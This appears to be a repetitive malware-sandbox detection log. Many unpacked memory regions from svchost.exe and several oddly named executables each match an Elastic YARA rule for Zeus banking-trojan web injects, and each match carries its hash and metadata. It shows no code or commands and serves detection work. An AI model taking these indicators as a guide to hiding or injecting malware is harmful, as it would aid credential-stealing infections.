Source: 2.3.svchost.exe.2d30000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2cd1c00.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.12.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.27a0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.49.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.26.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ca0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29f3c00.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.d580000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.a20000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.34.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886c00.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11e2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.UMwpXhA46R.exe.708de8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.50.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.16.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.15b0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.49.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3c40000.17.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886c00.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.23.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1552000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11d2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.b00000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.53.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.fe2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.14.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.53.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.19.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.25.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.21.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.39.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2672000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.25f2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.50.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.47.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29a2000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
